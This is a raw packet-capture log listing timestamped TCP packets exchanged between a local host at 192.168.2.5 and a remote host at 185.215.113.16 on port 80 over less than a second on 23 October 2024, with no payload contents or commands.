Oct 23, 2024 15:49:21.805574894 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.805591106 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.805689096 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.805721998 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.835585117 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.835783005 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.835922956 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.835997105 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.836030960 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.836064100 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.836114883 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.836112022 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.836112022 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.836112022 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.836112022 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.836148024 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.836184025 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.836190939 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.836190939 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.836216927 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.836235046 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.836251974 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.836260080 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.836286068 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.836303949 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.836327076 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.838653088 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.838706017 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.838711977 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.838757992 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.838761091 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.838809013 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.838810921 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.838844061 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.838855028 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.838896036 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.839011908 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.839045048 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.839061022 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.839080095 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.839085102 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.839113951 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.839123011 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.839148045 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.839162111 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.839186907 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.839665890 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.839694977 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.839721918 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.839760065 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.881489038 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.881515980 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.881546021 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.881551027 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.881577015 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.881587029 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.881597042 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.881613970 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.881630898 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.881647110 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.881663084 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.881683111 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.881694078 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.922194004 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.922228098 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.922241926 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.922256947 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.922272921 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.922287941 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.922319889 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.922319889 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.922319889 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.922406912 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.922652006 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.922692060 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.922705889 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.922714949 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.922730923 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.922734022 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.922748089 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.922754049 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.922772884 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.922792912 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.954319000 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.954348087 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.954365015 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.954380989 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.954397917 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.954413891 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.954680920 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.954695940 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.954705954 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.954715967 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.954731941 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.954802036 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.954802036 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.954802036 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.955171108 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.955185890 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.955200911 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.955231905 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.955260992 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.957446098 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.957464933 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.957482100 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.957498074 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.957525015 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.957555056 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.957555056 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.957662106 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.957676888 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.957699060 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.957712889 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.957720041 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.957720041 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.957731009 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.957747936 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:21.957747936 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.957747936 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.957767963 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:21.957786083 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.000401974 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.000426054 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.000442028 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.000487089 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.000562906 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.000591040 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.000603914 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.000607967 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.000626087 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.000638008 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.000638008 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.000642061 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.000659943 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.000664949 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.000674009 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.000695944 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.001223087 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.001277924 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.001688004 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.001735926 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.041244030 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.041265011 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.041281939 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.041307926 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.041325092 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.041349888 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.041366100 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.041380882 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.041394949 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.041405916 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.041405916 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.041413069 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.041479111 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.041479111 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.073225021 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.073249102 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.073265076 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.073283911 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.073309898 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.073358059 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.073373079 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.073389053 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.073402882 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.073402882 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.073441029 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.073832989 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.073848963 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.073873043 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.073884964 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.073889017 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.073906898 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.073911905 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.073935032 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.073957920 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.074476957 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.074510098 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.074526072 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.074528933 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.074551105 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.074562073 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.076220989 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.076251030 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.076267004 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.076272964 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.076287031 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.076308012 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.076349020 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.076387882 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.076399088 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.076402903 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.076430082 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.076441050 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.076514959 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.076561928 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.076883078 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.076931000 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.076936007 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.076951981 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.076977015 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.076987982 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.077214956 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.077261925 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.388662100 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.388690948 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.388714075 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.388750076 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.388784885 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.388817072 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.388819933 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.388859034 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.388864040 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.388875961 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.389003992 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.389051914 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.389103889 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.389475107 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.389527082 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.389739990 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.389790058 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.389875889 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.389925003 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.389929056 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.389965057 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.389976978 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.389998913 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390017986 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390034914 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390039921 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390069008 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390077114 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390104055 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390137911 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390150070 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390150070 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390173912 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390178919 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390208006 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390214920 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390242100 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390252113 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390279055 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390290022 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390324116 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390618086 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390650988 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390667915 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390685081 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390692949 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390726089 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390736103 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390784025 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390788078 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390834093 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390839100 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390880108 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390889883 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390923023 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390934944 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390958071 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390984058 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.390990019 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.390995979 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391025066 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391055107 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391058922 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391066074 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391097069 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391113997 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391130924 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391139030 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391165018 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391191959 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391196966 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391211033 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391231060 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391249895 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391263962 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391273975 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391299009 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391304970 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391362906 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391370058 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391398907 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391411066 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391433001 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391443968 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391468048 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391473055 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391500950 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391511917 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391536951 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391541958 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391570091 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391578913 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391603947 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391618013 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391643047 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391670942 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391705036 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391716957 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391737938 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391746998 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391773939 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.391777039 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.391814947 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.395972967 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.396020889 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.396030903 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.396037102 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.396053076 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.396061897 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.396071911 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.396085024 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.396137953 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.396162987 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.396178961 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.396181107 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.396200895 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.396214008 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.396240950 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.396256924 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.396270990 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.396282911 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.396289110 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.396298885 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.396308899 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.396330118 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.397274017 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.397289991 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.397305012 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.397320986 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.397324085 CEST	49990	80	192.168.2.5	185.215.113.16
